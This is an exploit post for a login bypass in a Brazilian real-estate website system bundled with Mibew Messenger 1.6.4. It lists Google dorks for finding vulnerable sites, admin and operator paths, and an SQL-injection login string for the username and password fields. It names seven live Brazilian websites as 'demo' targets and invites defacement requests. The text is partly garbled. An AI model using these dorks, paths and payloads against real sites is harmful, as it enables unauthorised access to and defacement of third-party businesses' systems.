Formatto Digital Mibew Messenger 1.6.4 Vulnerability Bypass Admin Page Login



#########################################
  • ## Vendor Homepage: formattodigital.com.br / mibew.org/
  • ## # Exploit Author : KingSkrupellos from Cyberizm Digital Security Team
  • ## Proof of Concept :
  • ## Google Dork:
  • -intext:''Formattoweb'' site:br
  • -intext:''© 2009-2018 Mibew Messenger project''
  • -intext:''Mibew Messenger 1.6.4 | (c) 2011 mibew.org''
  • -intext:'' Página Inicial . Imóveis no Mapa . Sobre Nós . Links Úteis . Fale Conosco
  • -inurl:''/site/pagina/sobre/'' site:br
  • ## Tested on: Windows
  • ## Exploit:
  • -/site/admin/login
  • -/site/admin/dashboard/itens/
  • -/site/admin/categoria/
  • -/site/admin/subcategoria/
  • -/site/admin/item/novo/
  • -/site/admin/item/
  • -/site/admin/item/busca/
  • -/site/admin/item/posicao/
  • -/site/admin/proprietario/
  • -/site/admin/proprietario/imoveis/
  • -/site/atd/operator/index.php?locale=pt-br
  • -/site/atd/operator/settings.php
  • -/site/atd/operator/users.php
  • -/site/atd/operator/history.php
  • -/site/atd/operator/statistics.php
  • -/site/atd/operator/canned.php
  • -/site/atd/operator/getcode.php
  • -/site/atd/operator/operators.php
  • -/site/atd/operator/operator.php?op=1
  • -/site/atd/operator/performance.php
  • -/site/atd/operator/operator.php
  • -/site/atd/operator/themes.php
  • -/site/atd/operator/updates.php
  • -/site/atd/operator/canned.php
  • -/site/atd/operator/cannededit.php?lang=pt-br&group
    =======================================
    Search Dork In Google :
  • - Click Target,Open Target With Expoit
    Login :
  • Username : '=''or'
  • Password : '=''or'
  • -Vlun?Redirect In Dashboard
  • Live Demo:
  • -http://brisottoimoveis.com.br/site/
  • -http://morarimoveis.com.br/site/
  • -http://deodatoimoveis.com.br/site/
  • -http://adiliofernandes.com.br/site
  • -http://www.aryimoveis.com.br/site/
  • -http://www.rmfazendasconfresa.com.br/site/
  • -http://www.redesuporte.com.br/site/admin/login/
  • And Thanks To All Baku Hantam Crew

    Jika Mengalami Eror Di Live Demo? Skip + Kembangin Lah dorknya :v #########################################

    And Happy Deface Request Contact Me : Bakuhantam92@gmail.com
    Quotes : Hari Ini Hujan :)
  • Py

    Subscribe to our YouTube Channel